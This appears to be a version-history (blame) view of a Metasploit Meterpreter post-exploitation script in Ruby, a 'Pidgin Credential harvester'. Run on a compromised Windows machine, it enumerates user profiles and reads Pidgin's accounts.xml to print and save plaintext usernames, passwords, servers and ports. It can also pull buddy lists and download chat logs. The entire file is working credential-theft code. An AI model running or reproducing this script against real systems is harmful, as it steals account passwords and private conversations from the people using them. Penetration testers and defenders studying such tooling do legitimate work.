2010-01-26 20:12:13 +00:00
|
|
|
# $Id$
|
2010-06-23 00:50:14 +00:00
|
|
|
# $Revision$
|
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
|
|
#-------------------------------------------------------------------------------
|
2010-01-14 03:23:47 +00:00
|
|
|
require "rexml/document"
|
|
|
|
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Options and Option Parsing
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
2010-03-02 01:54:14 +00:00
|
|
|
"-h" => [ false, "Help menu." ],
|
|
|
|
"-c" => [ false, "Return credentials." ],
|
|
|
|
"-l" => [ false, "Retrieve logs." ],
|
|
|
|
"-b" => [ false, "Retrieve buddies." ]
|
2010-01-14 03:23:47 +00:00
|
|
|
)
|
|
|
|
|
2010-03-02 01:54:14 +00:00
|
|
|
get_credentials=false
|
|
|
|
get_buddies=false
|
|
|
|
get_logs=false
|
2010-01-14 03:23:47 +00:00
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
print_line "Meterpreter Script for extracting configured services with username and passwords."
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2010-03-02 01:54:14 +00:00
|
|
|
when "-l"
|
|
|
|
get_logs=true
|
|
|
|
when "-b"
|
|
|
|
get_buddies=true
|
|
|
|
when "-c"
|
|
|
|
get_credentials=true
|
2010-01-14 03:23:47 +00:00
|
|
|
end
|
|
|
|
}
|
2010-03-02 01:54:14 +00:00
|
|
|
### If we get here and have none of our flags true, then we'll just
|
|
|
|
### get credentials
|
|
|
|
if !(get_credentials || get_buddies || get_logs)
|
|
|
|
get_credentials=true
|
|
|
|
end
|
|
|
|
|
2010-01-14 03:23:47 +00:00
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Set General Variables used in the script
|
|
|
|
@client = client
|
|
|
|
os = @client.sys.config.sysinfo['OS']
|
|
|
|
host = @client.sys.config.sysinfo['Computer']
|
|
|
|
# Create Filename info to be appended to downloaded files
|
2010-06-23 00:50:14 +00:00
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
2010-01-14 03:23:47 +00:00
|
|
|
# Create a directory for the logs
|
2010-06-23 00:50:14 +00:00
|
|
|
logs = ::File.join(Msf::Config.log_directory,'scripts', 'pidgin_creds')
|
2010-01-14 03:23:47 +00:00
|
|
|
# Create the log directory
|
|
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
#logfile name
|
2011-01-25 02:24:37 +00:00
|
|
|
dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")
|
2010-03-02 01:54:14 +00:00
|
|
|
|
2010-01-14 03:23:47 +00:00
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#function for checking of Pidgin profile is present
|
|
|
|
def check_pidgin(path)
|
|
|
|
found = nil
|
|
|
|
@client.fs.dir.foreach(path) do |x|
|
|
|
|
next if x =~ /^(\.|\.\.)$/
|
2010-05-04 23:09:32 +00:00
|
|
|
if x =~ (/\.purple/)
|
2010-03-02 01:54:14 +00:00
|
|
|
### If we find the path, let's return it
|
|
|
|
found = path + x
|
|
|
|
return found
|
2010-01-14 03:23:47 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
return found
|
|
|
|
end
|
2010-03-02 01:54:14 +00:00
|
|
|
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#function for extracting the buddies
|
|
|
|
def extract_buddies(path)
|
|
|
|
blist_xml = ""
|
|
|
|
buddies = ""
|
|
|
|
print_status("Reading blist.xml file...")
|
|
|
|
### modified to use pidgin_path, which already has .purple in it
|
|
|
|
blist_file = @client.fs.file.new(path + "\\blist.xml", "rb")
|
|
|
|
until blist_file.eof?
|
|
|
|
blist_xml << blist_file.read
|
|
|
|
end
|
|
|
|
blist_file.close
|
|
|
|
doc = (REXML::Document.new blist_xml).root
|
|
|
|
doc.elements["blist"].elements.each("group") {|group|
|
|
|
|
group.elements.each("contact") {|contact|
|
|
|
|
b_name=contact.elements["buddy"].elements["name"].text + ""
|
|
|
|
b_account=contact.elements["buddy"].attributes["account"] + ""
|
|
|
|
b_proto=contact.elements["buddy"].attributes["proto"] + ""
|
|
|
|
b_alias=""
|
|
|
|
if (contact.elements["buddy"].elements["alias"])
|
|
|
|
b_alias=contact.elements["buddy"].elements["alias"].text
|
|
|
|
end
|
|
|
|
buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return buddies
|
|
|
|
end
|
|
|
|
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#function for downloading logs
|
|
|
|
def download_logs(dest,pidgin_path)
|
|
|
|
begin
|
|
|
|
stat = client.fs.file.stat(pidgin_path+"\\logs")
|
|
|
|
if(stat.directory?)
|
|
|
|
print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs")
|
|
|
|
client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true)
|
|
|
|
end
|
|
|
|
rescue
|
|
|
|
print_status("Log directory does not exist, loggin is not enabled.")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2010-01-14 03:23:47 +00:00
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#function for extracting the credentials
|
|
|
|
def extract_creds(path)
|
|
|
|
accounts_xml = ""
|
|
|
|
creds = ""
|
|
|
|
print_status("Reading accounts.xml file...")
|
2010-03-02 01:54:14 +00:00
|
|
|
### modified to use pidgin_path, which already has .purple in it
|
|
|
|
account_file = @client.fs.file.new(path + "\\accounts.xml", "rb")
|
2010-01-14 03:23:47 +00:00
|
|
|
until account_file.eof?
|
|
|
|
accounts_xml << account_file.read
|
|
|
|
end
|
|
|
|
account_file.close
|
|
|
|
doc = (REXML::Document.new accounts_xml).root
|
|
|
|
doc.elements.each("account") {|element|
|
2010-03-02 01:54:14 +00:00
|
|
|
password = "<unknown>"
|
2010-01-14 03:23:47 +00:00
|
|
|
if element.elements["password"]
|
2010-03-02 01:54:14 +00:00
|
|
|
password=element.elements["password"].text
|
2010-01-14 03:23:47 +00:00
|
|
|
end
|
2010-03-02 01:54:14 +00:00
|
|
|
|
|
|
|
print_status("\tProtocol: #{element.elements["protocol"].text}")
|
|
|
|
print_status("\tUsername: #{element.elements["name"].text}")
|
|
|
|
print_status("\tPassword: #{element.elements["password"].text}")
|
2010-01-14 03:23:47 +00:00
|
|
|
print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}")
|
|
|
|
print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}")
|
|
|
|
print_status()
|
2010-03-02 01:54:14 +00:00
|
|
|
|
|
|
|
creds << "user=>#{element.elements["name"].text}"
|
|
|
|
creds << "\tpass=>#{password}"
|
|
|
|
creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}"
|
|
|
|
creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}"
|
|
|
|
creds << "\tproto=>#{element.elements["protocol"].text}\n"
|
2010-01-14 03:23:47 +00:00
|
|
|
}
|
2010-03-02 01:54:14 +00:00
|
|
|
return creds
|
2010-01-14 03:23:47 +00:00
|
|
|
end
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Function to enumerate the users if running as SYSTEM
|
|
|
|
def enum_users(os)
|
|
|
|
users = []
|
2011-03-16 22:48:43 +00:00
|
|
|
|
2010-01-14 03:23:47 +00:00
|
|
|
path4users = ""
|
|
|
|
sysdrv = @client.fs.file.expand_path("%SystemDrive%")
|
2010-03-02 01:54:14 +00:00
|
|
|
|
2010-07-11 01:42:48 +00:00
|
|
|
if os =~ /Windows 7|Vista|2008/
|
2010-01-14 03:23:47 +00:00
|
|
|
path4users = sysdrv + "\\users\\"
|
|
|
|
path2purple = "\\AppData\\Roaming\\"
|
|
|
|
else
|
|
|
|
path4users = sysdrv + "\\Documents and Settings\\"
|
|
|
|
path2purple = "\\Application Data\\"
|
|
|
|
end
|
2010-03-02 01:54:14 +00:00
|
|
|
|
2011-03-16 22:48:43 +00:00
|
|
|
if is_system?
|
2010-01-14 03:23:47 +00:00
|
|
|
print_status("Running as SYSTEM extracting user list..")
|
|
|
|
@client.fs.dir.foreach(path4users) do |u|
|
2010-03-02 01:54:14 +00:00
|
|
|
userinfo = {}
|
|
|
|
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
2010-01-14 03:23:47 +00:00
|
|
|
userinfo['username'] = u
|
2010-03-02 01:54:14 +00:00
|
|
|
userinfo['userappdata'] = path4users + u + path2purple
|
2010-01-14 03:23:47 +00:00
|
|
|
users << userinfo
|
|
|
|
end
|
|
|
|
else
|
2010-03-02 01:54:14 +00:00
|
|
|
userinfo = {}
|
2010-01-14 03:23:47 +00:00
|
|
|
uservar = @client.fs.file.expand_path("%USERNAME%")
|
|
|
|
userinfo['username'] = uservar
|
2010-03-02 01:54:14 +00:00
|
|
|
userinfo['userappdata'] = path4users + uservar + path2purple
|
2010-01-14 03:23:47 +00:00
|
|
|
users << userinfo
|
|
|
|
end
|
|
|
|
return users
|
|
|
|
end
|
|
|
|
#-------------------------------------------------------------------------------
|
2010-06-23 00:50:14 +00:00
|
|
|
|
2010-01-14 03:23:47 +00:00
|
|
|
################## MAIN ##################
|
2010-09-09 16:09:27 +00:00
|
|
|
if client.platform =~ /win32|win64/
|
|
|
|
print_status("Running Meterpreter Pidgin Credential harvester script")
|
|
|
|
print_status("All services are logged at #{dest}")
|
|
|
|
enum_users(os).each do |u|
|
|
|
|
print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...")
|
|
|
|
### Find the path (if it exists) for this user,
|
|
|
|
pidgin_path = check_pidgin(u['userappdata'])
|
|
|
|
if pidgin_path
|
|
|
|
print_status("Pidgin profile found!")
|
|
|
|
### modified to use pidgin_path
|
|
|
|
if get_credentials
|
|
|
|
file_local_write(dest,extract_creds(pidgin_path))
|
|
|
|
end
|
|
|
|
if get_buddies
|
|
|
|
file_local_write(dest,extract_buddies(pidgin_path))
|
|
|
|
print_status("Buddie list has been saved to the log file.")
|
|
|
|
end
|
|
|
|
if get_logs
|
|
|
|
download_logs(logs,pidgin_path)
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error("Pidgin profile not found!")
|
2010-03-02 01:54:14 +00:00
|
|
|
end
|
2010-01-14 03:23:47 +00:00
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
else
|
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|